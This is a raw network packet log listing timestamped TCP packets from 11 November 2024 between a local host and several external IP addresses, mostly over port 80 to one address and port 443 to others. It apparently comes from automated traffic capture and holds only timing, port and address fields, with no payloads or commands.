Nov 11, 2024 19:17:54.296371937 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.296392918 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.296504021 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296515942 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296529055 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296540976 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296561003 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.296566010 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296586037 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296590090 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.296603918 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296613932 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.296617985 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296624899 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.296631098 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296646118 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296653032 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.296658039 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296669006 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296679974 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.296684027 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296699047 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.296703100 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296715021 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296725988 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.296725988 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296740055 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296741962 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.296751976 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296762943 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296762943 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.296777964 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296787977 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296787977 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.296798944 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296813011 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.296818018 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296825886 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.296829939 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296842098 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296848059 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296859026 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296865940 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296873093 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296874046 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.296885967 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296897888 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296909094 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296912909 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.296922922 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296932936 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.296936989 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296942949 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.296958923 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296977043 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.296979904 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.296991110 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297004938 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297009945 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297028065 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297032118 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297040939 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297046900 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297054052 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297065020 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297075987 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297075987 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297086954 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297097921 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297099113 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297110081 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297115088 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297131062 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297139883 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297143936 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297156096 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297164917 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297173977 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297183990 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297185898 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297195911 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297199965 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297211885 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297215939 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297224045 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297236919 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297240019 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297247887 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297260046 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297262907 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297271967 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297286987 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297291994 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297302961 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297312975 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297326088 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297343969 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297355890 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297367096 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297378063 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297383070 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297391891 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297409058 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297411919 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297420979 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297421932 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297434092 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297450066 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297451973 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297466993 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297475100 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297478914 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297486067 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297494888 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297508001 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297513008 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297523975 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297533989 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297535896 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297548056 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297558069 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297559977 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297573090 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297583103 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297585011 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297593117 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297597885 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297610044 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297621012 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297621965 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297636986 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297647953 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297648907 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297660112 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297665119 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297672987 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297684908 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297688007 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297698021 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297709942 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297712088 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297720909 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297723055 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297734976 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297746897 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297749996 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297760010 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297772884 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297774076 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297785044 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297785044 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297797918 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297810078 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297812939 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297822952 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.297838926 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.297852039 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.301311016 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.301465034 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.301918030 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.301928997 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.301985979 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.302000046 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.302040100 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.302051067 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.303042889 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.303569078 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.303596020 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.303622961 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.303628922 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.303658962 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.303678989 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.304924011 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.304945946 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.305007935 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.305032015 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.305062056 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.306688070 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.306704998 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.306776047 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.306792974 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.306833029 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.333348989 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.338799000 CET	49885	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:54.338825941 CET	443	49885	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:54.338988066 CET	49885	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:54.341991901 CET	49885	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:54.342006922 CET	443	49885	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:54.351133108 CET	443	49878	23.33.40.155	192.168.2.7
Nov 11, 2024 19:17:54.352253914 CET	49878	443	192.168.2.7	23.33.40.155
Nov 11, 2024 19:17:54.352281094 CET	443	49878	23.33.40.155	192.168.2.7
Nov 11, 2024 19:17:54.353337049 CET	443	49878	23.33.40.155	192.168.2.7
Nov 11, 2024 19:17:54.353415966 CET	49878	443	192.168.2.7	23.33.40.155
Nov 11, 2024 19:17:54.353907108 CET	49878	443	192.168.2.7	23.33.40.155
Nov 11, 2024 19:17:54.353971958 CET	443	49878	23.33.40.155	192.168.2.7
Nov 11, 2024 19:17:54.354202032 CET	49878	443	192.168.2.7	23.33.40.155
Nov 11, 2024 19:17:54.354221106 CET	443	49878	23.33.40.155	192.168.2.7
Nov 11, 2024 19:17:54.383501053 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.383524895 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.383578062 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.383605003 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.383619070 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.383641005 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.383774042 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.383793116 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.383821011 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.383825064 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.383860111 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.383877993 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.384219885 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.384234905 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.384263039 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.384267092 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.384298086 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.384319067 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.391410112 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.391427040 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.391468048 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.391474009 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.391525984 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.391706944 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.391724110 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.391751051 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.391756058 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.391791105 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.391803026 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.392041922 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.392056942 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.392085075 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.392091036 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.392138958 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.394253016 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.394268036 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.394311905 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.394320965 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.394356966 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.394376993 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.415440083 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.422465086 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.432651997 CET	443	49877	4.150.155.223	192.168.2.7
Nov 11, 2024 19:17:54.433075905 CET	49877	443	192.168.2.7	4.150.155.223
Nov 11, 2024 19:17:54.433093071 CET	443	49877	4.150.155.223	192.168.2.7
Nov 11, 2024 19:17:54.433497906 CET	443	49877	4.150.155.223	192.168.2.7
Nov 11, 2024 19:17:54.433932066 CET	49877	443	192.168.2.7	4.150.155.223
Nov 11, 2024 19:17:54.434003115 CET	443	49877	4.150.155.223	192.168.2.7
Nov 11, 2024 19:17:54.434124947 CET	49877	443	192.168.2.7	4.150.155.223
Nov 11, 2024 19:17:54.434124947 CET	49877	443	192.168.2.7	4.150.155.223
Nov 11, 2024 19:17:54.434142113 CET	443	49877	4.150.155.223	192.168.2.7
Nov 11, 2024 19:17:54.464524031 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.464544058 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.464637995 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.464667082 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.464709044 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.465126991 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.465142965 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.465190887 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.465197086 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.465234041 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.465496063 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.465511084 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.465559006 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.465565920 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.465605021 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.465960979 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.465976000 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.466022015 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.466027021 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.466106892 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.466481924 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.466499090 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.466557980 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.466563940 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.466597080 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.466804981 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.466825008 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.466854095 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.466861963 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.466883898 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.466902971 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.467170954 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.467411041 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.473284006 CET	49865	443	192.168.2.7	13.107.246.40
Nov 11, 2024 19:17:54.473295927 CET	443	49865	13.107.246.40	192.168.2.7
Nov 11, 2024 19:17:54.482522964 CET	443	49878	23.33.40.155	192.168.2.7
Nov 11, 2024 19:17:54.482573986 CET	49878	443	192.168.2.7	23.33.40.155
Nov 11, 2024 19:17:54.482584953 CET	443	49878	23.33.40.155	192.168.2.7
Nov 11, 2024 19:17:54.482855082 CET	443	49878	23.33.40.155	192.168.2.7
Nov 11, 2024 19:17:54.482902050 CET	49878	443	192.168.2.7	23.33.40.155
Nov 11, 2024 19:17:54.504806042 CET	49878	443	192.168.2.7	23.33.40.155
Nov 11, 2024 19:17:54.504842997 CET	443	49878	23.33.40.155	192.168.2.7
Nov 11, 2024 19:17:54.542843103 CET	443	49881	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:54.543474913 CET	443	49882	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:54.552979946 CET	443	49883	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:54.572405100 CET	49881	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:54.572468996 CET	443	49881	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:54.573132992 CET	49881	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:54.573142052 CET	443	49881	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:54.573508024 CET	49882	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:54.573538065 CET	443	49882	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:54.588016987 CET	49882	443	192.168.2.7	13.107.246.45
Nov 11, 2024 19:17:54.588047981 CET	443	49882	13.107.246.45	192.168.2.7
Nov 11, 2024 19:17:54.617446899 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.617548943 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.617558956 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.617593050 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.617633104 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.617679119 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.617690086 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.617705107 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.617716074 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.617717028 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.617728949 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.617729902 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.617750883 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.617763996 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.617774963 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.617785931 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.617786884 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.617799997 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.617820024 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.617822886 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.617834091 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.617849112 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.617861986 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.617866993 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.617872953 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.617889881 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.617903948 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.617912054 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.617913961 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.617928028 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.617932081 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.617940903 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.617954969 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.617978096 CET	49794	80	192.168.2.7	185.215.113.206
Nov 11, 2024 19:17:54.618026018 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.618037939 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.618066072 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.618077040 CET	80	49794	185.215.113.206	192.168.2.7
Nov 11, 2024 19:17:54.618082047 CET	49794	80	192.168.2.7	185.215.113.206
